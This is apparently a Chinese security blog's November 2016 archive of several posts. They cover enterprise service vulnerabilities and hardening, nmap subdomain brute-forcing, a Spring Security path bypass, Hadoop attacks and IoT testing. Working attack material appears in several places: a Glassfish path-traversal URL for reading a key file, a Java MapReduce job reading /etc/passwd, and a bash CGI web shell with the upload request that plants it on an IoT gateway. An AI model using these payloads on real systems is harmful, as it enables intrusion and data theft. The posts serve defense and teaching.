2016年11月 - 勾陈安全实验室

2016年11月

企业常见服务漏洞检测&修复整理

前言

12月份要要给公司同学做安全技术分享,有一块是讲常见服务的漏洞,网上的漏洞检测和修复方案写都比较散,在这里一起做一个整合,整理部分常见服务最近的漏洞和使用上的安全隐患方便有需要的朋友查看。如文章有笔误的地方请与我联系WeChat:atiger77

目录

1.内核级别漏洞

Dirty COW

2.应用程序漏洞

Nginx
Tomcat
Glassfish
Gitlab
Mysql
Struts2
ImageMagick
...

3.应用安全隐患

SSH
Redis
Jenkins
Zookeeper
Zabbix 
Elasticsearch
Docker
...

4.总结

漏洞检测&修复方法

1.内核级别漏洞

Dirty COW脏牛漏洞,Linux 内核内存子系统的 COW 机制在处理内存写入时存在竞争,导致只读内存页可能被篡改。

影响范围:Linux kernel >= 2.6.22

漏洞影响:低权限用户可以利用该漏洞写入对自身只读的内存页(包括可写文件系统上对该用户只读的文件)并提权至 root

PoC参考:

漏洞详情&修复参考:

这个漏洞对于使用linux系统的公司来说是一定要修复的,拿web服务举例,我们使用一个低权限用户开放web服务当web被攻击者挂了shell就可以使用exp直接提权到root用户。目前某些云厂商已经在基础镜像中修复了这个问题但是对于之前已创建的主机需要手动修复,具体修复方案可以参考长亭的文章。

2.应用程序漏洞

Nginx

Nginx是企业中出现频率最高的服务之一,常用于web或者反代功能。11月15日,国外安全研究员Dawid Golunski公开了一个新的Nginx漏洞(CVE-2016-1247),能够影响基于Debian系列的发行版。

影响范围:

  • Debian: Nginx1.6.2-5+deb8u3
  • Ubuntu 16.04: Nginx1.10.0-0ubuntu0.16.04.3
  • Ubuntu 14.04: Nginx1.4.6-1ubuntu3.6
  • Ubuntu 16.10: Nginx1.10.1-0ubuntu1.1

漏洞详情&修复参考:

这个漏洞需要获取主机操作权限,攻击者可通过软链接任意文件来替换日志文件,从而实现提权以获取服务器的root权限。对于企业来说如果nginx部署在Ubuntu或者Debian上需要查看发行版本是否存在问题即使打上补丁即可,对于RedHat类的发行版则不需要任何修复。

Tomcat

Tomcat于10月1日曝出本地提权漏洞CVE-2016-1240。仅需Tomcat用户低权限,攻击者就能利用该漏洞获取到系统的ROOT权限。

影响范围: Tomcat 8 <= 8.0.36-2 Tomcat 7 <= 7.0.70-2 Tomcat 6 <= 6.0.45+dfsg-1~deb8u1

受影响的系统包括Debian、Ubuntu,其他使用相应deb包的系统也可能受到影响

漏洞详情&修复参考:

CVE-2016-4438这一漏洞其问题出在Tomcat的deb包中,使 deb包安装的Tomcat程序会自动为管理员安装一个启动脚本:/etc/init.d/tocat* 利用该脚本,可导致攻击者通过低权限的Tomcat用户获得系统root权限。

实现这个漏洞必须要重启tomcat服务,作为企业做好服务器登录的权限控制,升级有风险的服务可避免问题。

当然在企业中存在不少部署问题而导致了Tomcat存在安全隐患,运维部署完环境后交付给开发同学,如果没有删除Tomcat默认的文件夹就开放到了公网,攻击者可以通过部署WAR包的方式来获取机器权限。

Glassfish

Glassfish是用于构建 Java EE 5应用服务器的开源开发项目的名称。它基于 Sun Microsystems 提供的 Sun Java System Application Server PE 9 的源代码以及 Oracle 贡献的 TopLink 持久性代码。低版本存在任何文件读取漏洞。

影响范围:Glassfish4.0至4.1

修复参考:升级至4.11或以上版本

PoC参考:

http://1.2.3.4:4848/theme/META-INF/%c0.%c0./%c0.%c0./%c0.%c0./%c0.%c0./%c0.%c0./domains/
domain1/config/admin-keyfile

因为公司有用到Glassfish服务,当时在乌云上看到PoC也测试了下4.0的确存在任何文件读取问题,修复方法也是升级到4.11及以上版本。

Gitlab

Gitlab是一个用于仓库管理系统的开源项目。含义使用Git作为代码管理工具,越来越多的公司从SVN逐步移到Gitlab上来,由于存放着公司代码,数据安全也变得格外重要。

影响范围:

  • 任意文件读取漏洞(CVE-2016-9086): GitLab CE/EEversions 8.9, 8.10, 8.11, 8.12,
    and 8.13
  • 任意用户authentication_token泄露漏洞: Gitlab CE/EE versions 8.10.3-8.10.5

漏洞详情&修复参考:

http://blog.knownsec.com/2016/11/gitlab-file-read-vulnerability-cve-2016-9086-and-access-all-user-authentication-token/

互联网上有不少公司的代码仓库公网可直接访问,有些是历史原因有些是没有考虑到安全隐患,对于已经部署在公网的情况,可以让Gitlab强制开启二次认证防止暴力破解这里建议使用Google的身份验证,修改默认访问端口,做好acl只允许指定IP进行访问。

Mysql

Mysql是常见的关系型数据库之一,翻了下最新的漏洞情况有CVE-2016-6662和一个Mysql代码执行漏洞。由于这两个漏洞实现均需要获取到服务器权限,这里就不展开介绍漏洞有兴趣的可以看下相关文章,主要讲一下Mysql安全加固。

漏洞详情&修复参考:

在互联网企业中Mysql是很常见的服务,我这边提几点Mysql的安全加固,首先对于某些高级别的后台比如运营,用户等能涉及到用户信息的可以做蜜罐表。在项目申请资源的时候就要做好权限的划分,我们是运维同学保留最高权限,给开发一个只读用户和一个开发权限的用户进行使用,密码一律32位,同时指定机器登录数据库,删除默认数据库和数据库用户。

找了一篇还不错的加固文章提供参考:http://www.it165.net/database/html/201210/3132.html

Struts2

Struts2是一个优雅的,可扩展的框架,用于创建企业准备的Java Web应用程序。出现的漏洞也着实的多每爆一个各大漏洞平台上就会被刷屏。

漏洞详情&修复参考:

在线检测平台: http://0day.websaas.com.cn/

记得有一段时间Struts2的漏洞连续被爆出,自动化的工具也越来越多S2-032,S2-033,S2-037,乌云首页上都是Struts2的漏洞,有国企行业的有证券公司的使用者都分分中招,如果有使用的话还是建议升级到最新稳定版。

ImageMagick

ImageMagick是一个图象处理软件。它可以编辑、显示包括JPEG、TIFF、PNM、PNG、GIF和Photo CD在内的绝大多数当今最流行的图象格式。

影响范围:

  • ImageMagick 6.5.7-8 2012-08-17
  • ImageMagick 6.7.7-10 2014-03-06 低版本至6.9.3-9released 2016-04-30

漏洞详情&修复参考:

这个漏洞爆出来时也是被刷屏的,各大互联网公司都纷纷中招,利用一张构造的图片使用管道服符让其执行反弹shell拿到服务器权限,产生原因是因为字符过滤不严谨所导致的执行代码.对于文件名传递给后端的命令过滤不足,导致允许多种文件格式转换过程中远程执行代码。

3.应用安全隐患

为了不加长篇幅长度,加固具体步骤可以自行搜索。

SSH

之前有人做过实验把一台刚初始化好的机器放公网上看多久会遭受到攻击,结果半个小时就有IP开始爆破SSH的密码,网上通过SSH弱密码进服务器的案列也比比皆是。

安全隐患:

  • 弱密码

加固建议:

  • 禁止使用密码登录,更改为使用KEY登录
  • 禁止root用户登录,通过普通权限通过连接后sudo到root用户
  • 修改默认端口(默认端口为22)

Redis

Redis默认是没有密码的,在不需要密码访问的情况下是非常危险的一件事,攻击者在未授权访问 Redis 的情况下可以利用 Redis 的相关方法,可以成功在 Redis 服务器上写入公钥,进而可以使用对应私钥直接登录目标服务器。

安全隐患:

  • 未认证访问
  • 开放公网访问

加固建议:

  • 禁止把Redis直接暴露在公网
  • 添加认证,访问服务必须使用密码

Jenkins

Jenkins在公司中出现的频率也特别频繁,从集成测试到自动部署都可以使用Jenkins来完成,默认情况下Jenkins面板中用户可以选择执行脚本界面来操作一些系统层命令,攻击者通过暴力破解用户密码进脚本执行界面从而获取服务器权限。

安全隐患:

  • 登录未设置密码或密码过于简单
  • 开放公网访问

加固建议:

  • 禁止把Jenkins直接暴露在公网
  • 添加认证,建议使用用户矩阵或者与JIRA打通,JIRA设置密码复杂度

Zookeeper

分布式的,开放源码的分布式应用程序协调服务;提供功能包括:配置维护、域名服务、分布式同步、组服务等。Zookeeper默认也是未授权就可以访问了,特别对于公网开放的Zookeeper来说,这也导致了信息泄露的存在。

安全隐患:

  • 开放公网访问
  • 未认证访问

加固建议:

  • 禁止把Zookeeper直接暴露在公网
  • 添加访问控制,根据情况选择对应方式(认证用户,用户名密码,指定IP)

Zabbix

Zabbix为运维使用的监控系统,可以对服务器各项指标做出监控报警,默认有一个不需要密码访问的用户(Guest)。可以通过手工SQL注入获取管理员用户名和密码甚至拿到session,一旦攻击者获取Zabbix登录权限,那么后果不堪设想。

安全隐患:

  • 开放公网访问
  • 未删除默认用户
  • 弱密码

加固建议:

  • 禁止把Zabbix直接暴露在公网
  • 删除默认用户
  • 加强密码复杂度

Elasticsearch

Elasticsearch是一个基于Lucene的搜索服务器。越来越多的公司使用ELK作为日志分析,Elasticsearch在低版本中存在漏洞可命令执行,通常安装后大家都会安装elasticsearch-head方便管理索引,由于默认是没有访问控制导致会出现安全隐患。

安全隐患:

  • 开放公网访问
  • 未认证访问
  • 低版本漏洞

加固建议:

  • 禁止把Zabbix直接暴露在公网
  • 删除默认用户
  • 升级至最新稳定版
  • 安装Shield安全插件

Docker

容器服务在互联网公司中出现的频率呈直线上升,越来越多的公司使用容器去代替原先的虚拟化技术,之前专门做过Docker安全的分析,从 Docker自身安全, DockerImages安全和Docker使用安全隐患进行展开,链接:https://toutiao.io/posts/2y9xx8/preview

之前看到一个外国哥们使用脏牛漏洞在容器中运行EXP跳出容器的视频,具体我还没有复现,如果有复现出来的大家一起交流下~

安全隐患:

  • Base镜像漏洞
  • 部署配置不当

加固建议:

  • 手动升级Base镜像打上对应补丁
  • 配置Swarm要当心

4.总结

当公司没有负责安全的同学,做到以下几点可以在一定程度上做到防护:

  1. 关注最新漏洞情况,选择性的进行修复;
  2. 梳理内部开放服务,了解哪些对外开放能内网访问的绝不开放公网;
  3. 开放公网的服务必须做好访问控制;
  4. 避免弱密码;避免弱密码;避免弱密码;

以上内容只是理想状态,实际情况即使有安全部门以上内容也不一定能全部做到,业务的快速迭代,开发安全意识的各不相同,跨部门沟通上出现问题等等都会导致出现问题,这篇文章只罗列了部分服务,还有很多服务也有同样的问题,我有空会不断的更新。WeChat:atiger77

使用Nmap和自定义子域名文件发现目标子域

如何使用nmap dns-brute脚本和自定义子域名文件发现目标子域

Nmap的dns-brute脚本能发现127个常见的子域,因此我经常使用它与一个自定义子域文件来发现最常见的1000, 10.000. 100.000 和 1.000.000 类型的子域.

命令如下:

nmap --script dns-brute --script-args dns-brute.domain=amazon.com,dns-brute.threads=6,dns-brute.hostlist=./sub1000.lst

nmap --script dns-brute --script-args dns-brute.domain=amazon.com,dns-brute.threads=6,dns-brute.hostlist=./sub10000.lst

nmap --script dns-brute --script-args dns-brute.domain=amazon.com,dns-brute.threads=6,dns-brute.hostlist=./sub100000.lst

nmap --script dns-brute --script-args dns-brute.domain=amazon.com,dns-brute.threads=6,dns-brute.hostlist=./sub1000000.lst

子域名文件

链接: http://pan.baidu.com/s/1geW5yD1 密码: t2rh

Amazon Example

nmap2.jpg

CVE-2016-5007 Spring Security / MVC Path Matching Inconsistency

概要

  • 产品名称:Spring Web + Spring Security / Spring Boot
  • 标题:Spring Security / MVC Path Matching Inconsistency
  • CVE ID: CVE-2016-5007
  • Intrinsec ID:ISEC-V2016-01
  • 风险级别:中
  • 漏洞利用:远程
  • 影响:请求授权绕过

描述

此漏洞影响的Spring Web和Spring Security使用HttpSecurity.authorizeRequests用于URL访问控制的应用。

Spring提供了一个Spring Security使用文档:

http://docs.spring.io/spring-security/site/docs/current/reference/html/jc.html#authorize-requests

protected void configure(HttpSecurity http) throws Exception {
    http
        .authorizeRequests()                                                                
            .antMatchers("/resources/**", "/signup", "/about").permitAll()                  
            .antMatchers("/admin/**").hasRole("ADMIN")                                      
            .antMatchers("/db/**").access("hasRole('ADMIN') and hasRole('DBA')")            
            .anyRequest().authenticated()                                                   
            .and()
        // ...
        .formLogin();
}

在以下示例中,用户”User”不是管理员,并且无法访问”/admin/”管理目录:

cve-2016-5007-1.png

但是,如果在URL中将空格(或其他空格字符)附加到”admin”前后,可以轻易绕过安全过滤器。

  • 附加空格(由浏览器自动编码为”%20″):

cve-2016-5007-2.png

  • %0D前置:

cve-2016-5007-3.png

问题是使用不同的匹配器来实现访问控制,并且识别哪个控制器类应该处理请求。用于访问控制的第一个匹配器是严格的:”admin “被认为不同于”admin”:

cve-2016-5007-4.png

然而,用于找到适当的控制器的第二匹配器应用删除每个URL令牌之前和之后的空白的修剪操作,因此”admin”变为”admin”:

cve-2016-5007-5.png

总之:

访问控制匹配器不识别受保护的路径,因此应用默认的“允许”规则,而控制器查找器匹配器找到受保护的控制器。

两个匹配器之间的严格性不匹配导致了这种情况。

这个漏洞危害性高低与否取决越权查看页面后查询数据的时候是否有校验当前用户的session。

影响版本

  • Spring Security 3.2.x,4.0.x,4.1.0
  • Spring框架3.2.x,4.0.x,4.1.x,4.2.x
  • 其他不受支持的版本也会受到影响

解决方案

Spring Security提供了可以将模式匹配委派给Spring框架的URL授权,要利用这个选项,应用程序应该升级到Spring Security 4.1.1+和Spring Framework 4.3.1+并使用MvcRequestMatcher。

Spring Framework 3.2.x,4.0.x,4.1.x,4.2.x的用户可以使用MVC Java配置或MVC命名空间将AntPathMatchertrimTokens属性设置为“false”。

此外,应用程序应该总是使用Spring Security的一种机制(例如添加@Secured注释),在应用程序的业务层使用额外的授权来补充基于URL的授权。

分享一个两年前的测试案例:

目标是基于拦截器的访问控制,但是系统做拦截判断的时候是采用完全匹配模式校验,所以可以轻易绕过。

http://xxx.com:8000/security/security!admin.action --blocking
http://xxx.com:8000////security/security!admin.action --bypass

简单总结下这个两个漏洞产生的原因:

第一个案例的问题问题出现在第二个规则检测前的数据处理工作,do_work(a)的时候已经不知道do_check(a)是什么内容了!这里能做什么?只能保证保持输入a不变,能做事就做,做不了就反馈错误!此类问题绝非个案,平时代码审计可以多加关注。

Reference

Hadoop渗透及安全加固

最近看到微博有人在讨论在Hadoop安全问题,也顺便了看一下。

hadoop1.jpg

前言

很多产品设计之初就是使用在内网,所以默认不开启身份认证或者压根就没有身份认证模块,这种设计理念是有问题的 。例如es、redis、mongodb这些基础设施级的软件就因为没有身份认证很多安全问题都是由它导致的 。同时产品的安全设计也不要寄托在开发人员/运维人员的安全意识上,即使是安全人员也有疏忽大意的时候。

Hadoop简介

Hadoop是一个由Apache基金会所开发的一个开源 高可靠 可扩展的分布式计算框架。Hadoop的框架最核心的设计就是:HDFS和MapReduce。

HDFS为海量的数据提供了存储,MapReduce则为海量的数据提供了计算。

HDFS是Google File System(GFS)的开源实现。

MapReduce是一种编程模型,用于大规模数据集(大于1TB)的并行运算。

安全问题

总的来说Hadoop安全问题涉及三个方面

WebUI敏感信息泄漏

Hadoop默认情况开放了很多端口提供WebUI,下面这些多多少少都会泄漏一些信息,但是总的来说在内网还好吧。

一、HDFS

1.NameNode 默认端口                    50070
2.SecondNameNode 默认端口        50090
3.DataNode 默认端口                       50075
4.Backup/Checkpoint node 默认端口  50105

二、MapReduce

1.JobTracker 默认端口    50030
2.TaskTracker 默认端口   50060

端口探测,扫描HDFS和MapReduce的WebUI对应的服务端口

hdoop2.jpg

hadoop.jpg

NameNode WebUI管理界面

通过NameNode节点管理HDFS

hadoop3.jpg

其中比较重要的是DataNode 默认端口50075开放的话,攻击者可以通过hdsf提供的restful api对hdfs存储数据进行操作。

restful api参考:http://hadoop.apache.org/docs/r1.0.4/webhdfs.html

hadoop4.jpg

MapReduce代码执行漏洞

MapReduce demo:https://github.com/huahuiyang/yarn-demo

稍微改动了一下:

FileInputStream file = null;
BufferedReader reader = null;
InputStreamReader inputFileReader = null;
String content = "";
String tempString = null;
try {
   file = new FileInputStream("/etc/passwd");
   inputFileReader = new InputStreamReader(file, "utf-8");
   reader = new BufferedReader(inputFileReader);
   // 一次读入一行,直到读入null为文件结束
   while ((tempString = reader.readLine()) != null) {
      content += tempString;
   }
   reader.close();
} catch (IOException e) {
   e.printStackTrace();
} finally {
   if (reader != null) {
      try {
         reader.close();
      } catch (IOException e1) {
      }
   }
}
utput.collect(new Text(content), new IntWritable(1));

执行mapreduce任务:

bin ./hadoop jar wordcount.jar com.yhh.mapreduce.wordcount.WordCount data.txt result

查看执行结果:

bin cat result/part-00000

hadoop6.jpg

既然可以执行jar程序,执行系统命令还是很容易的,但是这个需要一个Hadoop的shell, 问题也不大。

Hadoop的第三方插件安全漏洞

Cloudera Manager <=5.5

  • Cloudera Manager CVE-2016-4949 Information Disclosure Vulnerability
  • Template rename stored XSS (CVE-2016-4948)
  • Kerberos wizard stored XSS (CVE-2016-4948)
  • Host addition reflected XSS (CVE-2016-4948)

Cloudera HUE =< 3.9.0

  • Enumerating users with an unprivileged account (CVE-2016-4947)
  • Stored XSS (CVE-2016-4946)
  • Open redirect

Apache Ranger =< 0.5

  • Unauthenticated policy download
  • Authenticated SQL injection (CVE-2016-2174)

Apache Group Hadoop 2.6.x

  • Apache Hadoop MapReduce信息泄露漏洞(CVE-2015-1776)

Hive任意命令/代码执行漏洞

  • HQL可以通过transform自定义Hive使用的 Map/Reduce
    脚本,从而调用shell/Python等语言,导致攻击者可以通过hive接口等相关操作方式直接获取服务器权限

漏洞往往是相似的,Spark 6066 7077端口也存在着类似的安全问题,默认情况下可以推送jar包执行,如果权限足够大可以实现植入ssh公钥,有兴趣的可以研究下,估计在内网可以搞到一些研发的机子。。。

总结

漏洞往往是相似的,Spark 6066 7077端口也存在着类似的安全问题,默认情况下可以推送jar包执行,如果权限足够大可以实现植入ssh公钥,有兴趣的可以研究下,估计在内网可以搞到一些研发的机子。

安全解决方案

reference

物联网(IOT)安全测试经验总结

前言

今年早些时候,我参与了许多关于物联网解决方案的安全测试。主要目标是找出体系结构和解决方案中的漏洞。在这篇文章中,我将讨论一些与物联网解决方案的问题和挑战。

什么是物联网?

在你学习有关IPv6的时候,你的老师或许说过,有一天在你的房子每个设备都会有一个IP。物联网基本上就是处理每天的事务,并把它们连接到互联网上。一些常见的物联网设备:如灯光,窗帘,空调。也有像冰箱这样的不太常见的设备,甚至一个卫生间?(实际应用

物联网的定义是:“提出了互联网的发展,日常物品有网络连接,允许,发送和接收数据。”。

物联网体系结构

通常有这五个部分:

  • 执行器:通过物理过程控制事物,如空调机组,门锁,窗帘,
  • 网关:用于收集传感器信息和控制中心
  • 传感器:用于检测环境,例如光,运动,温度,湿度,水/电量,
  • 云:Web界面或API托管用于收集数据的云端web应用和大型数据集分析。一般来说,就是用来做信息与其他方资源共享时,
  • 移动(app):移动设备大多使用的,在设备上的应用程序,以实现手机端控制IoT环境来进行互动

architecture.png

物联网环境本身的控制传感器和执行器通常使用这些无线协议(还有更多的):

  • Wifi
  • Zwave
  • ZigBee
  • Bluetooth
  • RF433

protocol.png

每个协议都有其优缺点,也有很多的限制。当谈到选择哪种协议时,最大的问题是兼容性。下面的表格显示了协议之间的快速对照:

20161115002526.png

主要的驱动程序使用特定的协议。例如rf433已经大范围使用,但不具有网状网络和默认的安全机制。这意味着,如果你如果想要安全性,你就不得不拿出自己的协议,这意味着你的用户将使用现成的传感器或设备。ZigBee和Zwave在很大程度上都是一样的。他俩之间的主要区别是在设备的通信范围。

你可以从ZigBee安全技术白皮书中了解更多,这里也有一份相关文档

威胁矢量

任何安全评估你都需要了解你的敌人是谁,他们会如何攻击系统并滥用使用它们。当我做威胁引导的时候我认为设备包含在环境中的信息,这些驱动器都在什么地方,都有可能构成什么样风险。一个物联网设备被黑可能是被用来针对物联网环境或仅仅是变成一个僵尸网被用来攻击外部网络(或两者的组合)。你应该评估什么可以影响执行器,以及如何确定传感器的值可能会影响环境。要做到这一点,你必须很了解物联网生态系统的工作方式,什么类型的设备可能会被使用,以及影响可能会如何扩大。

2340.png

物联网中常见的漏洞

  • 未经身份验证的更新机制
  • SQL / JSON注入
  • 设计逻辑
  • 过于信任

未经身份验证的更新机制

更新软件包有很多不同的方法。有些人用在Linux系统中传统的软件包管理器,使用较少的传统手段,如可执行程序,可运行于同一网络上的计算机,来从云环境倒推更新。这些更新的机制最大的问题是,他们不使用安全的手段来提供软件包。例如使用单一的可执行文件的机制,访问一个隐藏的API用于在网关替换文件。你需要做的是上传CGI文件替换现有文件。在这种特定的情况下的网关是bash的CGI运行,所以就上传了自己的shell:

#!/bin/sh
 
echo -e "Content-type: text/html\r\n\r\n"
 
echo "blaat"
#echo "$QUERY_STRING"
CMD="$QUERY_STRING"
test2=$( echo $CMD | sed 's|[\]||g' | sed 's|%20| |g')
$test2

请求:

POST http://192.168.1.98:8181/fileupload.cgi HTTP/1.1
Content-Type: multipart/form-data; boundary=------7cf2a327f01ae
User-Agent: REDACTED
Host: 192.168.1.98:8181
Content-length: 482
Pragma: no-cache
 
--------7cf2a327f01ae
Content-Disposition: form-data; name="auth"
 
11366899
--------7cf2a327f01ae
Content-Disposition: form-data; name="type"
 
w
--------7cf2a327f01ae
Content-Disposition: form-data; name="file"; filename="C:\REDACTED CONFIGURATOR\output\login.cgi"
#!/bin/sh
 
echo -e "Content-type: text/html\r\n\r\n"
 
echo "blaat"
#echo "$QUERY_STRING"
CMD="$QUERY_STRING"
test2=$( echo $CMD | sed 's|[\]||g' | sed 's|%20| |g')
$test2
--------7cf2a327f01ae

你应该能猜出接下来会发生什么:

codeexec.png

SQL/NoSQL injection

SQL注入已经是一个存在很长时间的漏洞,当然注入漏洞的产生是因为程序开发过程中不注意规范书写sql语句和对特殊字符进行过滤,导致客户端可以通过全局变量POST和GET提交一些sql语句正常执行。 我们可以看到很多的解决方案,很多开发商并不认为这是NoSQL数据库的问题或只是不知道这是一个问题。在这里,我的建议是一定要做适当的输入验证和过滤。这里没有案例分析,但可以看看这篇文章 websecurify.

设计逻辑和过于信任

由于没有可用的参考架构,我们看到过很多的架构,虽然框架能使事情变得更容易,但它可能存在很大的风险威胁,一个单一的组件可能被破坏。此外,我们看到开发商认为通信中传统用户输入是不会造成威胁的。在一个这样的实例中,我们注意到,当拦截网关和云之间的通信时,没有从网关标识符(我们可以很容易地枚举)的身份验证。这导致了我们可以注入获取其他用户的信息。其他一些实例包括:

  • 移动应用程序直接登录到数据库(所有设备使用相同的密码)
  • 本地网络通信不加密
  • 消息没有签名或进行加密
  • 易暴力枚举或不可撤销信息(如出生和名称为准)的使用作为API密钥来识别用户的网关
  • 通过默默无闻的安全性
  • 内部开发的加密算法

我在这里的建议:

  • 接收端的信息适当编码处理恶意信息,这意味着客户机不应当为服务器和客户机提供明文信息。一般使用审核和验证框架。
  • 如果设备在网络中托管,不要指望任何输入是值得信赖。
  • 在所有通信中使用合适的加密(https)如果证书是无效的则不开放
  • API密钥相当普遍,以确定一个特定的网关。因为该标识符的服务器作为认证令牌,则需要确保该识别符是使用密码安全RNG随机生成的。一般建议使用128位(32个字符)。
  • 即使是最知名的密码学家也不能保证自己算法的百分百安全。

很多时候用户希望使用自己的手机在家里远程控制他们的服务。例如打开空调或打开门。这就会引发一个问题,你的网关通常位于路由器后面,而不是直接从Internet访问。有些解决方案不需要使用端口转发,但这还需要一个动态的DNS解决方案,需要用户配置。

一般公司做的是移动应用程序将指令发送到云端,然后网关从云端获取指令。

encrypt.png

结论

人们总想着把任何东西都交给互联网,但往往会发生严重的安全错误。大多数错误是由于安全目标不明确,缺乏经验和意识。我们必须采取安全的物联网策略,而不是期望他们来给我们安全。

一些物联网安全的解决方案参考:

最后分享个脚本,通过代理做一个从物联网网关到互联网的拦截。可以用于安全测试:

#!/bin/sh
echo "Interface with internet connectivity: "
read iInf
echo "Secondary interface with rogue device: "
read wInf
echo "Stopping network manager ..."
service network-manager stop
echo "Stopping dnsmasq ..."
service dnsmasq stop
echo "Bringing down wireless interface ..."
ifconfig $wInf down
echo "Configuring wireless interface ..."
ifconfig $wInf 192.168.1.1 netmask 255.255.255.0
echo "Starting dnsmasq as DHCP server ..."
dnsmasq --no-hosts --interface $wInf --except-interface=lo --listen-address=192.168.1.1 --dhcp-range=192.168.1.50,192.168.1.60,60m --dhcp-option=option:router,192.168.1.1 --dhcp-lease-max=25 --pid-file=/var/run/nm-dnsmasq-wlan.pid
echo "Stopping firewall and allowing everyone ..."
iptables -F
iptables -X
iptables -t nat -F
iptables -t nat -X
iptables -t mangle -F
iptables -t mangle -X
iptables -P INPUT ACCEPT
iptables -P FORWARD ACCEPT
iptables -P OUTPUT ACCEPT
echo "Enabling NAT ..."
iptables -t nat -A POSTROUTING -o $iInf -j MASQUERADE
echo "Enabling IP forwarding ..."
echo 1 > /proc/sys/net/ipv4/ip_forward
echo "Gateway setup is complete"
iptables -t nat -A PREROUTING -i $wInf -p tcp --dport 80 -j REDIRECT --to-ports 8080
iptables -t nat -A PREROUTING -i $wInf -p tcp --dport 443 -j REDIRECT --to-port 8080